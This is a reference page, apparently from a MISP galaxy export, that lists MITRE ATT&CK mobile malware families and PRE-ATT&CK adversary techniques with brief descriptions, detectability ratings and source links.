Aliases: (Citation: Gooligan)
Gooligan - MOB-S0006 is also known as:
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Gooligan
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0006 |
http://blog.checkpoint.com/2016/11/30/1-million-google-accounts-breached-gooligan/ |
OldBoot - MOB-S0001
OldBoot is a family of Android malware described in a report from The Hacker News (Citation: HackerNews-OldBoot).
Aliases: OldBoot
OldBoot - MOB-S0001 is also known as:
-
OldBoot
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0001 |
http://thehackernews.com/2014/01/first-widely-distributed-android.html |
WireLurker - MOB-S0028
WireLurker is a family of macOS malware that targets iOS devices connected over USB (Citation: PaloAlto-WireLurker).
Aliases: WireLurker
WireLurker - MOB-S0028 is also known as:
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WireLurker
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0028 |
DroidJack RAT - MOB-S0036
Android remote access trojan (RAT) that has been observed to pose as legitimate applications including the Super Mario Run (Citation: Zscaler-SuperMarioRun) and Pokemon GO games (Citation: Proofpoint-Droidjack).
Aliases: DroidJack RAT
DroidJack RAT - MOB-S0036 is also known as:
-
DroidJack RAT
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0036 |
https://www.zscaler.com/blogs/research/super-mario-run-malware-2-–-droidjack-rat |
HummingWhale - MOB-S0037
The HummingWhale Android malware family "includes new virtual machine techniques that allow the malware to perform ad fraud better than ever". (Citation: ArsTechnica-HummingWhale)
Aliases: HummingWhale
HummingWhale - MOB-S0037 is also known as:
-
HummingWhale
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0037 |
ANDROIDOS_ANSERVER.A - MOB-S0026
ANDROIDOS_ANSERVER.A is Android malware novel for using encrypted content within a blog site for command and control (Citation: TrendMicro-Anserver).
Aliases: ANDROIDOS_ANSERVER.A
ANDROIDOS_ANSERVER.A - MOB-S0026 is also known as:
-
ANDROIDOS_ANSERVER.A
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0026 |
http://blog.trendmicro.com/trendlabs-security-intelligence/android-malware-uses-blog-posts-as-cc/ |
Trojan-SMS.AndroidOS.FakeInst.a - MOB-S0022
Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).
Aliases: Trojan-SMS.AndroidOS.FakeInst.a
Trojan-SMS.AndroidOS.FakeInst.a - MOB-S0022 is also known as:
-
Trojan-SMS.AndroidOS.FakeInst.a
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0022 |
https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/ |
NotCompatible - MOB-S0015
Android malware family analyzed by Lookout (Citation: Lookout-NotCompatible)
Aliases: NotCompatible
NotCompatible - MOB-S0015 is also known as:
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NotCompatible
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0015 |
X-Agent - MOB-S0030
The X-Agent Android malware was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data for where it was used and hence the potential location of Ukrainian artillery (Citation: CrowdStrike-Android).
Aliases: X-Agent
X-Agent - MOB-S0030 is also known as:
-
X-Agent
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0030 |
https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf |
Twitoor - MOB-S0018
Twitoor is a family of Android malware described by ESET (Citation: ESET-Twitoor).
Aliases: Twitoor
Twitoor - MOB-S0018 is also known as:
-
Twitoor
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0018 |
http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/ |
OBAD - MOB-S0002
OBAD is a family of Android malware (Citation: TrendMicro-Obad).
Aliases: OBAD
OBAD - MOB-S0002 is also known as:
-
OBAD
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0002 |
Android/Chuli.A - MOB-S0020
As reported by Kaspersky (Citation: Kaspersky-WUC), a spear phishing message was sent to activist groups containing a malicious Android application as an attachment.
Aliases: Android/Chuli.A
Android/Chuli.A - MOB-S0020 is also known as:
-
Android/Chuli.A
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0020 |
https://securelist.com/blog/incidents/35552/android-trojan-found-in-targeted-attack-58/ |
PJApps - MOB-S0007
According to Lookout (Citation: Lookout-EnterpriseApps), the PJApps Android malware family "may collect and leak the victim’s phone number, mobile device unique identifier (IMEI), and location. In order to make money, it may send messages to premium SMS numbers. PJApps also has the ability to download further applications to the device."
Aliases: PJApps
PJApps - MOB-S0007 is also known as:
-
PJApps
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0007 |
AndroidOverlayMalware - MOB-S0012
Android malware analyzed by FireEye (Citation: FireEye-AndroidOverlay). According to their analysis, "three campaigns in Europe used view overlay techniques…to present nearly identical credential input UIs as seen in benign apps, subsequently tricking unwary users into providing their banking credentials."
Aliases: AndroidOverlayMalware
AndroidOverlayMalware - MOB-S0012 is also known as:
-
AndroidOverlayMalware
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0012 |
ZergHelper - MOB-S0003
As described by Palo Alto Networks (Citation: ZergHelper), the (Citation: ZergHelper) app uses techniques to evade Apple’s App Store review process for itself and uses techniques to install additional applications that are not in Apple’s App Store.
Aliases: (Citation: ZergHelper)
ZergHelper - MOB-S0003 is also known as:
-
ZergHelper
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0003 |
SpyNote RAT - MOB-S0021
SpyNote RAT (Citation: Zscaler-SpyNote) (Remote Access Trojan) is a family of malicious Android apps. The "SpyNote RAT builder" tool can be used to develop malicious apps with the SpyNote RAT functionality.
Aliases: SpyNote RAT
SpyNote RAT - MOB-S0021 is also known as:
-
SpyNote RAT
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0021 |
https://www.zscaler.com/blogs/research/spynote-rat-posing-netflix-app |
RCSAndroid - MOB-S0011
(Citation: RCSAndroid) (Citation: RCSAndroid) is Android malware allegedly distributed by Hacking Team.
Aliases: (Citation: RCSAndroid)
RCSAndroid - MOB-S0011 is also known as:
-
RCSAndroid
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0011 |
https://github.com/hackedteam/core-android/tree/master/RCSAndroid |
Charger - MOB-S0039
The Charger Android malware steals "steals contacts and SMS messages from the user’s device". It also "asks for admin permissions" and "[i]f granted, the ransomware locks the device and displays a message demanding payment". (Citation: CheckPoint-Charger)
Aliases: Charger
Charger - MOB-S0039 is also known as:
-
Charger
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0039 |
YiSpecter - MOB-S0027
iOS malware that "is different from previous seen iOS malware in that it attacks both jailbroken and non-jailbroken iOS devices" and "abuses private APIs in the iOS system to implement malicious functionalities" (Citation: PaloAlto-YiSpecter).
Aliases: YiSpecter
YiSpecter - MOB-S0027 is also known as:
-
YiSpecter
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0027 |
Pegasus for Android - MOB-S0032
Discovered and analyzed by Lookout (Citation: Lookout-PegasusAndroid) and Google (Citation: Google-Chrysaor), Pegasus for Android (also known as Chrysaor) is spyware that was used in targeted attacks. Pegasus for Android does not use zero day vulnerabilities. It attempts to escalate privileges using well-known vulnerabilities, and even if the attempts fail, it still performs some subset of spyware functions that do not require escalated privileges.
Aliases: Pegasus for Android, Chrysaor
Pegasus for Android - MOB-S0032 is also known as:
-
Pegasus for Android
-
Chrysaor
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0032 |
https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html |
XcodeGhost - MOB-S0013
iOS malware analyzed by Palo Alto Networks (Citation: (Citation: PaloAlto-XcodeGhost)1) (Citation: PaloAlto-XcodeGhost)
Aliases: XcodeGhost
XcodeGhost - MOB-S0013 is also known as:
-
XcodeGhost
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0013 |
Mobile Attack - Relationship
MITRE Relationship.
Mobile Attack - Relationship is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
Use Device-Provided Credential Storage (MOB-M1008) mitigates Access Sensitive Data or Credentials in Files (MOB-T1012)
Application Developer Guidance (MOB-M1013) mitigates Access Sensitive Data in Device Logs (MOB-T1016)
Use Recent OS Version (MOB-M1006) mitigates Access Sensitive Data or Credentials in Files (MOB-T1012)
Use Recent OS Version (MOB-M1006) mitigates Abuse Device Administrator Access to Prevent Removal (MOB-T1004)
Deploy Compromised Device Detection Method (MOB-M1010) mitigates Lock User Out of Device (MOB-T1049)
Application Vetting (MOB-M1005) mitigates Abuse Device Administrator Access to Prevent Removal (MOB-T1004)
Caution with Device Administrator Access (MOB-M1007) mitigates Abuse Device Administrator Access to Prevent Removal (MOB-T1004)
Encrypt Network Traffic (MOB-M1009) mitigates Eavesdrop on Insecure Network Communication (MOB-T1042)
User Guidance (MOB-M1011) mitigates Malicious or Vulnerable Built-in Device Functionality (MOB-T1076)
Use Recent OS Version (MOB-M1006) mitigates Malicious or Vulnerable Built-in Device Functionality (MOB-T1076)
Mobile Attack - Tool
Name of ATT&CK software.
Mobile Attack - Tool is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
Xbot - MOB-S0014
Xbot is a family of Android malware analyzed by Palo Alto Networks (Citation: PaloAlto-Xbot) that "tries to steal victims' banking credentials and credit card information", "can also remotely lock infected Android devices, encrypt the user’s files in external storage (e.g., SD card), and then ask for a U.S. $100 PayPal cash card as ransom" and "will steal all SMS message and contact information, intercept certain SMS messages, and parse SMS messages for mTANs (Mobile Transaction Authentication Number) from banks."
Aliases: Xbot
Xbot - MOB-S0014 is also known as:
-
Xbot
Links |
https://attack.mitre.org/mobile/index.php/Software/MOB-S0014 |
Pre Attack - Attack Pattern
ATT&CK tactic.
Pre Attack - Attack Pattern is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
Test ability to evade automated mobile application security analysis performed by app stores - PRE-T1170
Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1170 |
Obfuscate infrastructure - PRE-T1108
Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Defender will generally not have visibility into their infrastructure.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1108 |
Create backup infrastructure - PRE-T1116
Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to those being attacked.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1116 |
Assess targeting options - PRE-T1073
An adversary may assess a target’s operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible). Defender has very infrequent visibility into an adversary’s more detailed TTPs for developing people targets.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case. OSINT can provide many avenues to gather intel which contain weaknesses. Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1073 |
Receive operator KITs/KIQs tasking - PRE-T1012
Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1012 |
Procure required equipment and software - PRE-T1112
An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Outside of highly specific or rare HW, nearly impossible to detect and track.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1112 |
Identify security defensive capabilities - PRE-T1040
Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Technically, the defender has the ability to detect. However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense. In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: The adversary will have some insight into defenses based on dropped traffic or filtered responses. It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1040 |
Derive intelligence requirements - PRE-T1007
Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1007 |
Domain Generation Algorithms (DGA) - PRE-T1100
The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)
Detectable by Common Defenses: Partial
Detectable by Common Defenses explanation: It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: This technique does not require a significant amount of sophistication while still being highly effective. It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1100 |
Leverage compromised 3rd party resources - PRE-T1152
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1152 |
Review logs and residual traces - PRE-T1135
Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1135 |
Identify job postings and needs/gaps - PRE-T1025
Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing open/public information.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Publicly posted information by design. Providing too much detail in the job posting could aid the adversary in learning more about the target’s environment and possible technical weaknesses/deficiencies.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1025 |
Spear phishing messages with malicious attachments - PRE-T1144
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target. However, encryption continues to be a stumbling block. In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging. Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1144 |
SSL certificate acquisition for trust breaking - PRE-T1115
Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: The certificate authority who is hacked cannot easily see they’ve been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotar (Citation: DigiNotar2016) and [https://www.verisign.com Verisign].
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: One example of it occurring in the real world is the DigiNotar (Citation: DigiNotar2016) case. To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1115 |
Proxy/protocol relays - PRE-T1081
Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Proxies are readily available for the adversary with both free and cost-based options available.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1081 |
Determine domain and IP address space - PRE-T1027
Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Public or easily obtainable information by design.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: AS and IANA data are easily available, existing research tools.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1027 |
Remote access tool development - PRE-T1128
A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Many successful RATs exist for re-use/tailoring in addition to those an adversary may choose to build from scratch. The adversary’s capabilities, target sensitivity, and needs will likely determine whether a previous RAT is modified for use a new one is built from scratch.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1128 |
Push-notification client-side exploit - PRE-T1150
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
A technique to push an [https://www.apple.com/ios iOS] or [https://www.android.com Android] MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary’s use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1150 |
Authorized user performs requested cyber action - PRE-T1163
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1163 |
Submit KITs, KIQs, and intelligence requirements - PRE-T1014
Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1014 |
Misattributable credentials - PRE-T1099
The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)
Detectable by Common Defenses: Partial
Detectable by Common Defenses explanation: If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc. Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1099 |
Create strategic plan - PRE-T1008
Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1008 |
Assess vulnerability of 3rd party vendors - PRE-T1075
Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: 3rd parties would most likely not report network scans to their partners. Target network would not know that their 3rd party partners were being used as a vector.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: The difficult part is enumerating all 3rd parties. Finding major partners would not be difficult. Significantly easier with insider knowledge. Vulnerability scanning the 3rd party networks is trivial.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1075 |
Authentication attempt - PRE-T1158
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)
Detectable by Common Defenses: Partial
Detectable by Common Defenses explanation: This is possible with diligent monitoring of login anomalies, expected user behavior/location. If the adversary uses legitimate credentials, it may go undetected.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials. This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1158 |
Domain registration hijacking - PRE-T1103
Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Generally not easily detectable unless domain registrar provides alerting on any updates.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Requires adversary to gain access to an email account for person listed as the domain registrar/POC. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1103 |
Analyze organizational skillsets and deficiencies - PRE-T1077
Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: This can be done offline after the data has been collected.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1077 |
Conduct active scanning - PRE-T1031
Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: This technique is an expected and voluminous activity when on the Internet. Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1031 |
Unconditional client-side exploitation/Injected Website/Driveby - PRE-T1149
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit’s landing page. The exploit kit landing page will probe the victim’s operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)
Detectable by Common Defenses: Partial
Detectable by Common Defenses explanation: With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection. Encryption and other techniques reduces the efficacy of these defenses.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Placing an exploit on a public web site for driveby types of delivery is not impossible. However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1149 |
Test signature detection - PRE-T1069
An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don’t publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)
Detectable by Common Defenses: Partial
Detectable by Common Defenses explanation: If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect. If the adversary uses a hostile, less well-known service, the defender would not be aware.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Easy to automate upload/email of a wide range of data packages.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1069 |
Fast Flux DNS - PRE-T1102
A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)
Detectable by Common Defenses: Partial
Detectable by Common Defenses explanation: In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Fast flux is generally simple for an adversary to set up and offers several advantages. Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1102 |
Conduct social engineering - PRE-T1026
Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)
